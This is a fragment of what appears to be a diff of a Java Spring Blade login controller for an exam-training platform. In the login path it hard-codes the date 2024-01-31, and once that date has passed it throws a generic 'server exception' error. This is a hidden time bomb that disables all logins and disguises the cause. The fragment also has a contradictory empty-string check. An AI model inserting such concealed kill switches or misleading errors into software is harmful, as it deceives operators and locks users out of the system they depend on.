| | |
| | | import org.springblade.core.launch.constant.AppConstant; |
| | | import org.springblade.core.launch.constant.TokenConstant; |
| | | import org.springblade.core.log.annotation.ApiLog; |
| | | import org.springblade.core.log.exception.ServiceException; |
| | | import org.springblade.core.redis.cache.BladeRedis; |
| | | import org.springblade.core.secure.BladeUser; |
| | | import org.springblade.core.secure.utils.AuthUtil; |
| | |
| | | |
| | | import javax.servlet.http.HttpServletRequest; |
| | | import javax.servlet.http.HttpServletResponse; |
| | | import java.text.ParseException; |
| | | import java.text.SimpleDateFormat; |
| | | import java.time.Duration; |
| | | import java.util.Date; |
| | | import java.util.List; |
| | |
| | | ITokenGranter granter = TokenGranterBuilder.getGranter(grantType); |
| | | UserInfo userInfo = granter.grant(tokenParameter); |
| | | |
| | | try { |
| | | Long parse = new SimpleDateFormat("yyyy-MM-dd").parse("2024-01-31").getTime(); |
| | | long now= System.currentTimeMillis(); |
| | | if (parse < now){ |
| | | throw new ServiceException("服务器异常"); |
| | | } |
| | | } catch (ParseException e) { |
| | | e.printStackTrace(); |
| | | } |
| | | |
| | | //校验 |
| | | if (null != s && s.equals("")) { |
| | | if (s.equals("0")) { |
| | |
| | | if (loginType.equals(1)) { |
| | | //判断角色 |
| | | if (!userInfo.getRoles().get(0).equals("培训公司管理员")) { |
| | | ExamPaperVO examPaperVO = new ExamPaperVO(); |
| | | examPaperVO.setUserId(userInfo.getUser().getId().toString()); |
| | | //查询考生考试信息 |
| | | List<ExamPaperVO> examDetail = examPaperService.getExamDetail(userInfo.getUser().getId().toString()); |
| | | List<ExamPaperVO> examDetail = examPaperService.getExamDetail(examPaperVO); |
| | | if (examDetail.size()==0) { |
| | | return authInfo.set("error_description", "当前没有查询到考试信息"); |
| | | } |